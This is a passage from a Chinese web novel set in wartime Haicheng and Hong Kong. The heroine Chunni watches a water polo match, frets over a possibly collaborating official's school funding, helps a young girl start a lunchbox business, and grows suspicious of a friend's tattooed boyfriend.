山下友幸就这样无声地从江浦学校人们的视线中消失了,没有人询问他的去向。他这段时间原本就很少到学校来,他的消失更是人人都求之不得。 包括他的雇主连德江,春妮最先开始警惕了一阵子,发现这位先生并没有要找她麻烦的意思,慢慢地也不再把神经绷得那样紧,对去人多的地方也没有了最开始的抗拒。 秦伟的水球比赛已经打了好几场,第一场开打时,虽然春妮不在学校,但他叫人很上道地送来了几张票交给方校长。 方校长听见露胳膊露腿,心里是不愿意去的。他把票全部给了工厂,当作上月优秀员工奖励给发放了。 员工们看了比赛回来,个个赞不绝口,说比赛跟陆上的足球篮球比赛是不一样的精彩,而且比赛内容大方活力,不涉及一点色|情。 尤其是赛后的水上芭蕾跳舞,让人大开眼界,表演结束后,观众们跟疯了似的鼓掌,久久不舍得离席。 场边原本还有人吹口哨喊“安可”,但这样起哄的行为没等煽动起来,就有场边负责维持秩序的安保上去警告了。 需要说明的,是这时候“安可”一般只在歌厅里才有人叫,一般用于请歌星返场演唱。有些人的确心思不纯,但显然秦伟听进去了春妮的话,是认真以体育赛事的标准在准备比赛。 在此期间,他还无师自通,招来了一群男人也组成了水球队比赛,只是风头远远比不上女队,但专业性和技巧比女队高出了不少,也吸引了一些纯粹的体育爱好者。 水球比赛在这个夏天掀起了不小的风潮,最开始,秦伟将比赛场次严格控制在一周两场以内,但很快就被强烈要求加场次,最后一周加到了四次,球票还供不应求。 球票供不应求的原因,除了现在的人娱乐方式单调之外,还有一点,他们的比赛在体育馆中举行,那里足够容纳上千人入座,又是露天比赛,因而票价并不贵,一般在一个银毫子到一块大洋之间浮动,比电影还便宜,是一般人完全消遣得起的娱乐赛事。最最要紧的,是水球比赛完毕之后,观众还可以凭票只用再支付一半的价钱入池游泳,即使比其他游泳池的票贵,但看过一场精彩的比赛也不亏嘛。 到春妮回海城时,已经有其他人闻风而动,组成了新的球队,向秦伟发起挑战,要举行联赛呢。 那段时间都有这类新闻见诸报端,跟这些新闻一样登载得热闹的,还有队中几名主力队员的各种花边新闻,有一些用词还十分香艳大胆。 这些在策划之前都是早就预料好的,春妮对此也不会较真。不过,每天路过工厂时,总听那些去看比赛的工人们说着赛场中的各种趣事,弄得春妮也心痒痒的。恰恰这一日,秦伟又派人送来了球赛的门票,春妮便拿出几张,约几个没课的老师一起去了大世界的室内游泳馆看比赛。 跟其他老师单纯看比赛不同,坐到位置上,春妮先看到的都是就业机会。 他们到时,看台上已经坐了不少人。 游泳池外围都是卖泳圈泳衣的小贩,还有许多抱着花露水,汽水,瓜子等零食兜售的孩子,场子里头,也时有搭着白毛巾来回穿梭的茶水小贩在吆喝卖茶,以及—— 春妮的眼神一定,秦伟在她旁边坐下,调侃道:“哟,东家总算有空来视察产业了。” 春妮笑:“你天天都在场子看着?” 秦伟扬声叫人送几瓶汽水,答道:“也不是,今天是碰巧了。”说完,咕咕灌了大半瓶汽水,抱怨道:“这天也太热了,再热,比赛怕是办不下去了。” 抱怨归抱怨,他脸上的神情仍是闲适的。这会儿比赛还没开场,春妮喝着汽水跟他闲聊:“你上回不是说,要拉曹公子入伙吗?他入了没?”她说的曹公子,指的就是那天在江婉玉跟她说过话,叔父是救火会会长的曹明彰。 秦伟顿时一脸晦气:“别提了,宝芸那傻丫头在港城迷上了一个穷小子,明彰哪还有心思跟我玩这个,早跑到港城去了。” 曹明彰对唐宝芸有意思,那天在江婉玉的聚会上,春妮就看了出来。但襄王有梦,神女无心,看来唐宝芸有自己的偏向。 这个时候,春妮还不知道,这一出普普通通的桃色事件兜兜转转,最后会跟她扯上关系。 第149章 149 立场 交换了唐宝芸的八卦之后, 秦伟凑近春妮,压低了一点声音:“有件事,我觉得你应该知道。我查出来, 王季新的夫人在很小的时候曾经在陈济夫人家寄养过一段时间, 陈济的夫人家跟付鸿民的夫人家以前是邻居。” 这一圈的“夫人”差点没把春妮的头绕晕,好在她很快想起来那位陈济便是曾经跟付鸿民在周景山老先生义卖会上勾肩搭背的茶叶商,后来秦伟还查到过,陈济的大舅子,也就是陈济这位夫人的娘家哥哥现在在王季新手下做事。 今年上半年,倭国扶持的伪政府在南城成立,王季新当选为伪政府第一任主席。 她回忆了好一会儿, 才弄明白里边的关系:“你是说,付鸿民的夫人可能跟王季新夫人是手帕交?” “总之, 你多留意一点。”秦伟没再多说,他还不知道,春妮已经通过其他渠道向付鸿民敲诈到了一大笔教育经费。 虽说这个年代汉奸多,不可能每个人都跟汉奸完全没有来往, 但对于付鸿民这种早就被财色腐蚀空的人而言,还是不要高看他的底线。 如果姓 付的政治立场发生变化, 他们的这笔经费随时有可能被中断供给。 之前要到的那些钱,已经被校长另外用来支付施工队的工钱,到了秋天开始, 之前一年因为经费不足被迫只盖了三层楼的楼房全部盖齐,新一轮的扩招也会立即开始。 如果失去这笔经费, 原先的招生计划就要流产了。 付鸿民这家伙滑头得很,这两个月,学校每次派人去问他要拨款, 他不是这理由就是那理由,要么就躲着不见,千辛万苦要到手,还总是缺个几十几百块的恶心人。 秦伟是提醒她,如果付鸿民有投敌的意向,需要尽快同他切割。华国的主流民意一直是抗倭,跟汉奸扯上关系,民间风评会下降是其一,再者,就怕倭国人通过汉奸的关系,像附骨蛆一样地缠上来。 这一点,春妮倒是不怎么担心。那天她跟连德江摊牌时,对方答应过,会帮学校应付倭国人方面的麻烦。 而且他跟纳尔逊的合作一旦开展,定必不限于情报方面。现在英国人还是租界的主导势力,有他在连德江身后,对对方在黑龙会地位的稳固也有一定的帮助。 别看那天连德江一脸悲愤,像被□□了似的,但跟纳尔逊合作,对他现在的处境大有好处,否则,他怎么可能会在见到纳尔逊的时候,表现得这样殷勤? 不过,如果付鸿民真的投到伪政府那边去,到时候就不用顾忌什么了,得想个法子把他手里的钱全部挤出来。 心里有事想,那场比赛春妮几乎没怎么看下去。好不容易熬过半场,春妮告辞兴致勃勃的老师们,回到了学校。 方校长穿着个无袖麻布短褂,正拿着个大蒲扇在操场上转悠,看见春妮,叫她过去说话。 “今天怎么回来得这么早?还是一个人回来的?” 春妮将从秦伟那听来的消息说了,道:“咱们得想个办法,把他手里的钱都弄来。” 校长慢悠悠扇着风,反而劝她道:“算啦,能从他手里弄来这么多,我已经很满意了。你这小姑娘,好不容易想开了去玩一次,怎么总在想这些事?轻松,轻松。世界上不平事多了,你管不过来啊。” 春妮不乐道:“我就是不甘心,想到钱被他那种人给糟蹋,睡都要睡不着。” 校长拿蒲扇点她头:“哎呀你呀,你就是钻了牛角尖。政府是什么样子,你年纪小,没见过政府军做事,前头打仗,后头敢把枪炮弹药都给你倒卖干净。没有付鸿民,也有郑鸿民李鸿民王鸿民。这些钱总是用不到我们身上的,何必跟自己过不去?再说了,你不甘心又能怎么样,难道你还能冒充付鸿民签字,让法国人一次把钱全汇给你?就是这两方肯配合,还有双城政府这一关你也过不去啊,傻囡。” 春妮垂下头不吭气:她何尝不知道这一点?但要她听从校长的意思顺其自然,那也是绝对不能。在她的字典里,就没有“顺其自然”这四个字! 方校长一看她那表情,就知道她心里还惦记得很呢,想了想,说道: “你要是有时间的话,过两天跟铁柱一起去港城一趟。” “干嘛?”春妮心思还沉浸在付鸿民身上。 校长又想拿蒲扇点她头了:“哎呀,你这个小囡囡,亲弟弟一个人去港城那么远,一去好几个月?你都不操心的嘛?不想去看看他?” 春妮:“……我什么时候不操心了?这不是——” 校长才不跟她争,一径推她往屋里走:“是什么是啊,让你去你就去。现在学校也放了假,工厂要是有什么事,有我们这么多大人在呢,轮不着你操心。”又道:“正好今年头一年东南亚旺季销售,我担心那些毛头小子镇不住场面,有你去盯着,我也好放心些。” 海城旺季开始都一个多月了,港城更热,旺季开始的时间更早,要出事早该出事了…… 春妮也明白,校长不想让自己将心思总放在这些事上,才想让自己换个环境放轻松些。 不过校长说得也不是没有道理,这世上贱人这么多,总盯着他们去收拾,自己的日子还过不过了?天要下雨,娘要嫁人,付鸿民真要当汉奸,她也管不了。 如此自我开解一番,到了第二天,春妮要再去港城的消息传开,闻讯而来的女老师差点将她那间小套房塞爆。 倭国人的封锁一年比一年严苛,海城的商场里,很多外国货,包括外国药开始消失踪影。 这两个月,但凡去海城,或是随便到哪出工差的员工,都被拜托过带这带那。但女人们嘛,总有些不方便让那些大男人带的东西,这不一听说春妮要再去港城,宁愿花一毛钱搭电车,也要跑来找她帮忙。 去港城的票还没买好,先被塞来满怀满谷的请托,春妮又是分类,又是统计,忙得直到上船之后,都没再起起付鸿民和双城政府的那一摊子糟心事。 这次去港城,主要是春妮要送李铁柱去港城帮忙。这多半年时间,除了王国柱,校长又陆续送了不少人去港城帮助拓展当地业务。数月以来,业务发展的是不错,但港城□□多,他们又不是本地人,经常会有些小混混盯上他们来找麻烦。 虽说这些人成不了大气候,但苍蝇多了,总是招人厌烦。 这次校长便把李铁柱和几个保安队的骨干成员派到了港城,去解决这类问题,等暑假结束后,他们再返回学校上学。 原本校长心疼春妮小小年纪整天在外奔波,这几个月不是在双城,就是去了东海省没个消停。结果这姑娘天生劳累命,好不容易轻闲几天,又惦记起了付鸿民的钱包。 校长只是很多事睁只眼闭只眼,他心里很清楚,春妮做事的路子太野,要是照她的想法去对付付鸿民,说不定姓付的什么时候跟山下友幸一样,说没就没了。姓付的到底是曾经的政府大员,身上担着干系,可不能由着她的性子来。 这样的话,还不如让她跟着到港城去镇场子呢,这才有了春妮临时加塞的港城行。 想到将要去港城跟弟弟团聚,春妮早将付鸿民的事抛到了脑后。 这次他们仍然坐的江南轮船公司的船,江南轮船公司没有特快直航的轮船,但也不比太古慢多少,五天后,一行数人平安抵达港城。 来之前春妮先跟港城通了个气儿,约定这次来港口迎接春妮的,是王国柱的妻子孝姑,夏生也跟了过来。 本来到港城这么多回,几个人熟门熟路的,不用去接。 但孝姑到港城后,王国柱租了个大些的房子,已经不住办公室了。他们抵达的时间又在傍晚,王国柱怕他们找不到地方,还是坚持让孝姑来接人了。 春妮早听经常往来港城的同事们说,孝姑到了港城之后,经常到公司帮忙,她看见公司单身的同事多,主动做饭给他们吃,还帮他们洗衣服。 学校知道后,单独给孝姑开了一份工钱。虽然只是其他员工的一半,但这个时候,女人想找工作,只能去有钱人家里住家做女佣,时间的灵活性肯定比不上在公司上班。 老是从其他人口中听说孝姑的事,春妮没想到,她竟是挺着个大肚子来接的人。 唬得她连忙伸手托住她:“怀了孕还乱跑什么?让王国柱来接啊。” 跟一年多前比,孝姑简直大变了个样。也看得出来,王国柱父母都是厚道人,她至少长了二十厘米,嘴唇红润,人也没有那么黑了。 长开了的孝姑站在那咧嘴一笑,灿烂极了:“我 当家的去要帐不在,我反正没事,就来了。我听说是顾老师要来,怎么也要亲自迎接你一回,你可是我的大恩人。” 春妮笑:“那时候没瞧出来,你这么会说话。” 孝姑笑道:“那时候刚跑出来,心里怕得很,就怕说错一句话,又要被卖了。幸好我运气好,碰到的都是好人。” 一年前的事,现在仿佛还历历在望。 春妮问她:“你的那些姐妹呢?她们去哪了?” 第150章 150 甩手 “有几个返咗老家, 还有一些在羊城找到了事做。”孝姑犹豫了一下:“我妹妹还有几个姐妹在羊城没找到事做,现在跟着我和国柱住在一起,靠做些手工业赚钱。” 见春妮没说话, 她慌忙又说:“我让她们几个合住在仓库里, 不占地方的。” 春妮怔了怔,想起来因为现在时常有海城同事来港城出差,为了方便招待南下的同事,也为了看守货物,王国柱是以公司名义租的房子。 为此,他四月份还专门打了份电报过来,说自己现在兼任了库管, 想让工厂给涨工资。 不是什么大事,要不是看孝姑神色不对, 她也不会想起来。 安慰了孝姑两句,春妮又问夏生:“港城好不好玩?” 这小子不知每天在哪里拱,一身皮肤晒得黑里透红,这要是在晚上, 没路灯只怕都找不到他这人。 夏生就露出有些纠结的神色:“好玩,又不好玩。” “怎么?” “港城太无聊了, 城又小又破。也就是那朱湾那片海——”他突然住嘴,忐忑不安地盯着春妮看了会儿。 春妮一看就知道他无非是怕自己跟其他家长一样,知道他在偷偷嬉水, 怕她骂他。 但春妮岂是那一般家长?她完全没有自家孩子,最好一辈子平平安安, 什么事都不要出,什么险都不要冒的想法,这个年代, 孩子养皮一点,多一点保命技能没什么不好。 听完她只吩咐了一句:“每次去海边,不要一个人,不要去地况复杂的地方。还有,我教你的功夫,有天天在练吗?” 夏生顿时笑得咧开一口白牙:“当然了,要不,姐你回去跟我打一场?” 王国柱租的房子同样在格罗妮海港附近,离丰海大厦不过一条街。 春妮拒绝了孝姑打车的提议,几个人说着话,吹着徐徐拂脸的海风,沿着港口新修好的水泥路,走回了他们现在的住处。 跟一年多前相比,港城街道除了又多了点人和搭建了几条街的窝棚,没有什么不同。格罗妮海港在一堆破烂中鹤立鸡群,仍然是海岸线一带最好的建筑物。 实话说,看到这样的建筑物,就是春妮也信了一秒,来之前秦伟跟她说的,英国人可能会收缩战线,放弃港城的这个猜测。在她的印象里,港城在后世似乎繁华了一段时间,但看这情况,港城的春天还没到嘛。 自从英国本土燃起战火之后,类似的,英国会放弃港城,放弃印度的猜测一直甚嚣尘上,为此,校长曾经犹豫过,要不要扩大港城分公司的规模。 但过去的这半年来,来自新加坡和马来的订单源源不绝,虽说没有海城的多,但整个冬天,玩具厂那些做竹席的工人都有活做。失去了东南亚市场,玩具厂实际又没有那么多订单可养活那些工人,他们就只能去找别的工作。 可现在海城哪有那么多工作做? 所以,哪怕是为了让工人能够有口饭吃,港城的这个分公司也必须继续存在下去。 几人说说笑笑到了地方,孝姑抢先一步进屋叫人:“慈姑,丫姑,快出来帮顾老师提行李。” 孝姑的妹妹慈姑跟姐姐长得很像,孝姑说,这一年来她找工作不顺利,羊城的家公家婆便教她做鞋子卖。现在日夜躲在家里做鞋子,人白净了不少,打眼看过去,跟去年在码头上黑黄黑黄的小丫头完全是两个样。 “那时候没看出来,慈姑长得这么好看。”春妮笑道。 孝姑谦虚了两句,愁道:“我倒宁愿她黑些瘦些,不然也不用跟我到港城来吃苦。” 这个时候的港城仍是很多粤省人跑海驻留的港口,大家只当自己是来临时落脚的异乡人。即使是战后人口激增,也没有改变他们自己是客居人的想法,总认为离乡背井就是来吃苦了。 慈姑放下行李,给春妮和几名远道而来的客人倒了几杯凉茶,冲她羞涩一笑,出了屋。 春妮看她动作轻巧,做事麻利,不由问道:“怎么慈姑没找到工作?我瞧她长得这么好,做事也伶俐,少说能在茶楼做招待吧?” 春妮也是想起她去年在羊城茶楼喝茶时,看到有女招待才随口一问。要知道,到现在为止,海城的酒楼饭馆都还没有几家肯用女人当服务员。 谁知,一说起这件事,孝姑脸上更添愁意:“去过啦。没去两天,就有客人对慈姑动手动脚,现在世道乱,听说还有女招待被倭国人看上,当场就……我哪里敢叫她再去。不过这两天我正托隔壁的秀婶帮慈姑找婆家,想来很快会有信,嫁人就好啦,嫁人有老公养。” 春妮:“……既然女人有老公养,你点解还出来做业?” 孝姑有些不解,顾老师这意思,是不支持慈姑嫁人了?说起来,慈姑今年才十二岁,嫁人是小了一点。可是跟姐姐姐夫住在一起,时间长了,会引人说闲话,对她小姑娘家家也不好啊。 这也是孝姑最烦心的地方。 她道:“我也是想给肚中孩子攒点家业嘛,国柱是想养我的,可我们片瓦俱无,哪里敢真的让他养?” 几人说到这里,王国柱回来了。一看见春妮,仍是那副热情过度的模样:“小顾老师,不好意思,今天跟客户在算财务帐,回来晚了。我特意让孝姑不做晚饭,就是想请你和大家去茶楼喝茶,走走走。” 这家伙一回来,顿时盘活了一整间屋子人的气氛。 他在港城还兼任做销售,工厂给他提成,如今请十几个人上茶楼去饮茶,自然不在话下。 有王国柱打的这个岔,春妮跟孝姑之前的话题自然没法再继续下去。 王国柱是个爱热闹的人,春妮这次带来的年轻人中,有好几个没来过港城。喝着茶听王国柱坐在主位上吹牛,一下来就是两个钟头,回去冲完凉直接睡觉。 第二天,春妮跟着王国柱他们一起去上班,孝姑让慈姑跟在春妮旁边说是帮她跑腿,其实春妮明白,孝姑是怕春妮对她们这几个姐妹不满,开口要撵她们走,想趁她在的这段时间殷勤一些。 反正她这些日子要做的事没什么危险,春妮也就让她跟着了。 公司的办公室仍然在丰海大厦,这段时间虽然比以前忙,但有了之前大半年的打底,所有的流程全部都做熟了,要忙也忙不到哪去。 特别是春妮,港城这里的同事不习惯让个小姑娘指挥做事,给她专门隔出一间办公室,说是让她方便听取汇报,实际就是不相信她,防着她而已。 作为过江龙,春妮对自己的定位很清晰,她就是被校长扔过来强行度假的,港城这边的事务没必要插手过深,便顺着他们的意思,每天准点上班,到时下班,点个卯就走。有什么事,让他们自己出面解决,坚决将“甩手”二字贯彻到底。 如此几天下来,春妮倒是发现了另一种不便。 丰海大厦里上班的人中,九成九以上都是男人。每到中午,这些男人也不回家做饭,直接去外面的小摊买饭吃。 但这附近全都是仿海城新盖起来的小高层写字楼,餐馆非常少,一般人要么只能多走两条街,随便到街口外的茶餐厅找口吃的,要么只能去楼下的小摊贩那简单地吃一碗艇仔粥或是馄饨面,。或是像他们公司一样,请一个煮饭阿姨。许多小公司职员在大厦里的,竟是吃不上一口正经干饭。 春妮便拉着慈姑跟她聊天:“慈姑啊,你觉不觉得,这附近吃饭是不是有些不方便?” 慈姑心道,这不是有我姐姐每天中 午给公司送饭,哪有不方便?难道顾老师是嫌姐姐做的饭不合口? 她试探着问:“那要不然,我每天在家做好了送来给你吃?你上回教我的馒头,我已经会啦。” “我不是这个意思,”春妮摆了摆手:“你做饭手艺不是不错嘛?有没有想过,你在家做了饭,拿到丰海大厦来卖?” 没错,闲了几天,她又坐不住,想搞事了。 慈姑眼睛先是一亮,后又暗了下去:“我?我能行吗?” “怎么不行?”春妮道:“我在海城也是卖饭过来的,何况现在只让你在家做好了送到大厦里来,又不用抛头露面,这还不好?” “万一没人买呢?”现在港城也有女摊贩,慈姑对做小生意并不排斥,只是从未涉足过,才不那么自信。 她们都还不知道,这个年代的港城,即使小摊贩,也多数是成了婚的女人才出来做。 “不会的,你价钱定得合适一些,肯定有人愿意买。” “慈姑真要卖饭,我明天一定头一个捧场。”办公室其他男同事也开起了玩笑:“哦,对了,我忘了,孝姑已经定好帮我做饭啦。妹妹仔,你想做我生意,只能同你家姐抢啦。” 春妮见她仍是犹豫,干脆起身来拽她:“你要是没自信,现在跟我去统计一下,看有多少人会买。要是超过十份,你明天就能做起来了。” 慈姑是个乖孩子,被春妮拽出公司的门,虽然不好意思向她一样很自然地跟陌生人讲话,但并不反抗,而是跟在她身后,瞪大眼睛,用心记着春妮说的每一句话。 丰海大厦总共高八层,一层一般最多三四间公司,不到一个上午,春妮他们就从第一层跑到了最后一层。 春妮就是在第八层遇到的唐宝芸。 唐宝芸旁边那位,应该是传说中她那位穷小子男朋友? 150-160 第151章 151 工作 丰海大厦八层楼中, 数第八楼最顶层最热,条件最差。 春妮领着慈姑挨个门敲过来,看见每间房都不超过十个平方。房与房之间用薄木板隔开, 里面塞着三四个办公桌, 并几架书橱文件柜。满满登登,活似一笼塞四只鸡的鸡笼子。唯有门口贴着“XX财务公司”的纸条表明,这里全部都是业务大同小异的小公司。 春妮听同事们八卦过,说这些小公司几乎全是给走私商做帐的公司。 在战争开始之前,港城是完全的自由海港,只要货物能够平安运抵此地或是运出此地,除非是明文规定的违禁品, 港城官方是不会管你货从哪来,要卖给谁的。但是, 自从去年英国向德国宣战之后,港城年初颁布了战时税收条例,开始向本地商人征收利得税和薪俸税。 这些小公司应当全都是在港城英方政府督促下成立,专门协助商船进出海港报税的公司。 不过, 春妮看着这些公司名称上统一加赘的“财务”两字,想起前世看过的某些老港片, 总会有些许不太好的联想。在港片里,这种公司一般除了非法报税洗黑|钱,还兼职放高|利贷。想起头一回来港城, 她差点被砍死街头的经历,春妮看这些公司的表情, 活像在看阶级敌人。 身后的慈姑见她半天不动,以为顾老师是想让自己上场,只好忍着心内的怯意, 上前一步敲了门,并轻轻一推。 春妮维持着面对阶级敌人的表情,跟同时向门口看过来的唐宝芸对视了个正着。 彼时唐宝芸穿着件绿色的雪纺半袖连衫裙,两条手臂正亲热地缠在一个穿白衬衫的男人身上,她的半张脸挡得房里另外那个人只剩半个下巴。 看到春妮,唐宝芸不喜反惊:“你也是我爸爸派来抓我回去的?”说着,身子一挺,踏前半步,将先前跟她咬耳朵的男人完全护在身后。 唐宝芸找个挤鸽子笼格子间的男朋友,她爸会反对,春妮一点也不意外,只是这个“也”字从何而来? 春妮戳戳慈姑:“你想说什么?” 慈姑咽了咽口水,细声道:“唔系,呢位小姐,我系嚟问你,系咪有意向订饭盒。”她一紧张,说话完全换成了当地土话。 唐宝芸虽然没听懂,这也令她明白过来,是自己误会了春妮。 她涨红了脸,“哎呀”一声:“对不住,是我误会了你。春妮,你怎么在这?” 春妮简短道:“我来港城出差。你先忙,我还有事——” 唐宝芸急忙来拉她:“好不容易咱们又见一次面,你急着走什么,来跟我说说话呀。” 春妮一心离开,拉开她的手,敷衍道:“我是真的有事。” 唐宝芸一下急了,拽住她往屋里拉:“不行,你不能走。” 春妮:“……你确定你留得下我?” 这时,她那位男朋友从她身后站起来,低声道:“宝芸,放轻松,我看这位妹妹仔对我们没有恶意的。” 他的声音不疾不徐,一双眼睛也是干净有神,看着是很柔和的性子。想不到唐宝芸喜欢的是这一款。 唐宝芸这才想起自己行为不妥,忙不迭放下她的胳膊,双手合十,向她央求道:“我好不容易溜出来的,你千万别告诉别人,我在这里啊。” 春妮心道,我连你家门往哪开都不知道,朝哪告诉别人去? 她无意掺合唐宝芸的事,将先前心里想的话说了出来,完全不好奇她身边的这个男人和她目前的境况,再次告辞后很快离开。 直到进入楼梯,粘在身后的视线消失,慈姑才敢问春妮:“顾老师,那是什么人哪?” “一个认识的人。” 慈姑犹豫了一下:“那位小姐好像不愿看到我们,我明天派饭盒时,要不要避开这附近?” “不必。”春妮拍拍她的背:“你是出来做生意,又不是干见不得人的事,把腰挺直。她既然不想看到我们,就该自己主动避开我们。” 他们今天上下爬了一遭楼,统计出来的数据还是很乐观的,至少有三四十个人都有意向问他们买饭吃。春妮给慈姑算了一笔帐,哪怕他们一份饭卖三毛钱,做一荤两素,至少也能赚一毛钱。哪怕三四十个人中只有一二十个人真的买了饭,这个生意也非常做得,至少比慈姑成天做鞋子,三四天才完得成一双要强。 春妮算帐多溜的人,不等下班,她拉着慈姑去菜市场转一圈,就定下了明天要做的菜品。 回去之后,慈姑跟孝姑说起来,孝姑却不太高兴:“家里哪有钱给你做生意,你现在做鞋不是很好?” 慈姑忙打断孝姑道:“这个钱我出,家姐你莫讲啦。”看一眼春妮,她正从家里的大瓷缸里舀凉茶喝,似乎没注意这里的响动。 孝姑却是以为妹妹自作主张,半是急半是气:“你出什么出,你有几个钱?不都是姐姐姐夫疼你,从自己嘴里省下来给的你。你倒好,手里有了两个,就——” “孝姑你怀着身孕,”这时,一个生着浓眉的姑娘忙打断她道:“慈姑也是为了让家里多些家用,你不要那么生气得啦。” “我不是生气,我就是怕她小孩家不知勤俭持家。她这个样子,在家有人兜底,以后嫁了人点算?” 浓眉姑娘脾气不错,笑呵呵地安慰道:“慈姑不是讲啦,她有正经业做?我觉得她这个生意做得,还想问她,人够不够用,不够用可否加我一个。” “丫姑你——” “慈姑钱够唔够,不够我仲有少许。”浓眉姑娘丫姑直接转向慈姑,跟她打听生意的事。 春妮抱着瓷缸,到喝第二杯凉茶的时候,丫姑已经从帕子里拿了一块钱给慈姑。 期间慈姑频频想问春妮,都让她使眼色打回去了。若是让她开了这个口,丫姑她们肯定不敢再来掺合。 以她现在的身家,完全没必要跟几个小姑娘抢这口饭吃。这几个小 姑娘中,境遇最好的,也只是在茶楼做女招待,其他人都只能到处打零工,要不是王国柱肯收留她们,只怕这些外乡的小姑娘早晚会像乞丐一样住进路边的芦苇窝棚里。 直到在海城住了一阵子,春妮才体会到,这个年代的底层女性工作有多困难。 像她做的小摊贩,因为海城□□流氓多,不是年龄上了三四十的已婚妇女是不敢上街抛头露面的。不过海城是这个年代的工业化大城市,不做摊贩,年轻的女孩子们可以进厂当女工,做售票员,有一份相对稳定的收入,选择比其他地方到了年龄只能嫁人的女孩子们多得多。 但在羊城,因为前些年缫丝厂大量破产,女工们无处可去,大量涌入其他行业,茶楼女招待的行业便在那时壮大。这却挤占了男招待们的求职空间,还有商家为了揽客,雇佣一些妓女与茶客调|情。为此,政府曾两次以有伤风化之名下令禁止雇用女招待。直至战争爆发之后,政府出于统战需要,方准许女招待加入职工工会。然而不到一年,羊城沦陷,倭国人军队大摇大摆在街上行走,女招待们的生存环境变得比以前还恶劣。【注】 观一知十,若是能打开慈姑卖盒饭的道路,不用抛头露面被人骚扰,也是给这些寄居在仓库里女孩子们的另一条出路。 第一天卖饭,慈姑做了一个白灼菜心,一个滑蛋苦瓜,再一个三鲜汤,最后听了春妮的,讲开业酬宾,每份饭免费送一片叉烧。这套餐有荤有素,清淡还有滋味,卖得一份不落,甚至还有客人问她,能不能接受订餐,小姑娘们的订餐生意迎来了开门红。 春妮跟着她们卖了两天,发现这些客人们都是有文化的关系,挺懂礼,没有见她们是姑娘家就欺负人。偶有出言调戏的,也被丫姑等几个泼辣的姑娘怼了回去,便放心下来。想起她来这么多天,没怎么陪夏生在港城转过,便打算抽出两天时间,陪他到处去玩玩。 这两天里,不知唐宝芸是不是躲着她,每回她们敲她那天在的那间公司的门时,一直不见有人应门。 春妮不是不喜欢玩,她只是比旁人有危机感罢了。如今港城工作不需要她帮忙,她的倒爷生意也还没到收获的时候,没有倭国人,没有战争,而英国人忙于备战,无暇来骚扰……在港城的这几天,可以说,是她这一年当中几乎心情最平和的几天,她终于有了游玩的心情。 “你们知道,港城有哪些好玩的地方吗?来港城这么长时间了,我还没带弟弟玩过。”春妮敲敲办公室的门,问同事们。 短暂的沉默后,大家纷纷献言献策:“港城就这么大,没什么好玩的。倒是半岛酒店的炭烧咖啡是一绝,顾老师一定要去尝尝。” “还有朱湾有一间烧鹅顶赞。” “啊对了,三条街的后巷,那里的腊味最地道,顾老师想吃的话,要记得早点去占位置。” “对哦,他家每天收工很早,位置好难抢。顾老师要早点带弟弟去。” “……” 春妮看了看表,下午四点钟,还有两个钟下班,她笑道:“……知道啦,你们都不想我在这里不自在。那我顺应民意,今日提早走,大家没意见了吧?” 港城分公司因为年轻人多,气氛一直很好。 春妮跟他们道别,直到走到公司楼下,她的嘴角都还是翘着的。看见对面过来的唐宝芸,她笑着跟她点了点头。 她男朋友揽着她,一件白衬衫撸到手肘处,看着很斯文的样子。 唐宝芸忙站直了身体,尴尬地笑了笑:“春妮,你下班啦?”这个年代的人们还很保守,像她这样走在外边也要拖男朋友手臂的姑娘—— 这时,春妮看清唐宝芸男朋友手上的东西,眼神微微地变了。 第152章 152 反派 男朋友先生手臂内侧靠手肘的部分, 有一个指甲盖大的纹身。 那个图案,给她渣爹的二房太太秦惠君收尸的那天,春妮曾在她的笔记本上看见过。 那是一个对称的图形, 图案延展开的形状有些像一对变形的蝴蝶翅膀。 原本跟唐宝芸打完招呼, 春妮准备识趣地离开,在看到她男朋友手臂内侧上的纹身的那一刻,她立刻改变了主意。 “宝芸今天又是背着家里人跑出来的?” 唐宝芸一怔,有些慌乱地道:“没有啊,你别乱猜。” 春妮叹了口气,语重心长道:“宝芸,你这样老是背着家里人出来, 以为他们就不会发现了吗?” 唐宝芸垂下头来:“那我能怎么办?我要是说实话,姑妈肯定不会放我出来。” 男朋友先生目露怜惜:“宝芸, 要不然,我们还是分开吧。你这样辛苦,让我很不好受。” “不要啊,我不分, 我不答应!”唐宝芸急忙拽紧了他的手臂。 “可你夹在家里人中间左右为难,这让我怎么忍心?” “少恭。”唐宝芸眼圈红了。 春妮咳嗽了一声, 唐宝芸沉浸在罗罗蒂克的氛围,要是再不打断他们,这对苦命鸳鸯就要当街上演民国虐恋剧了。 “这位?”男朋友先生目露疑色。 “我姓顾, 你叫我顾小姐就好。”春妮道:“我们找个地方说话吧,这里人来人往的, 也不方便。” 三个人在两条路边的一间小冰室坐下,这会儿不到饭点,店伙将几人引到角落处, 挥手略赶一赶蚊子,笑着请几人坐下。 椅子靠背上糊着材料不明的姜黄色污渍,唐宝芸的神色分明是嫌弃的,叫男朋友先生用帕子仔细擦了又擦,再在她肩膀上轻轻一按,咬着嘴唇,到底坐下了。 “说说你们是怎么认识的吧。”春妮烫着杯子,和声道。 或许是她迥异于旁人的态度鼓励了唐宝芸,春妮没怎么费力就知道了她这次爱情的始终。 唐宝芸今年高中毕业,先前在江婉玉的聚会上,春妮已经知道,她父亲不赞成她出去留学,想让她在港城完成大学学业。于是,毕业证书一拿到手,她拿着几封推荐信再次去了港城的姑妈家。 唐宝芸在姑妈家了几天觉得无聊,又听说港大虽然放了假,九月份才开放注册,但图书馆整个暑假都是开放的。她借来在港大读书的表哥的借书证,抽出一天早上去了港大看书。 就是在这里,她遇到了同样在图书馆借书的阮少恭。 唐宝芸说,阮少恭原本是南城大学的学生,南城被攻陷后,他家破人亡,辗转流落到港城。原想继续学业,奈何囊中羞涩,只能在财务公司里先找了份工作糊口,准备攒够了钱再上大学。 略过唐宝芸那些充满了粉红滤镜的描述,春妮客观地认为,青年男女,相貌登对,学识相当,只要没有大的脾气硬伤,陷入爱河是件再简单不过的事。 如果这位相貌英俊的男人再有个悲惨到家的身世,那简直要让少女的眼睛都要为其哭瞎。 通过她的观察,春妮觉得,要说唐宝芸对阮少恭有多喜欢,有多离不开,也不见得,跟阮少恭的这场恋爱,大概就是一个乖乖女偶尔的叛逆罢了。如果没有唐家表哥偶然去一次学校图书馆,撞破了表妹的小秘密,这段恋情未必会发展得这么迅速。 在春妮眼中,唐宝芸这个普通的陷入爱河的少女没什么好研究的,这 位阮少恭就很值得玩味了。 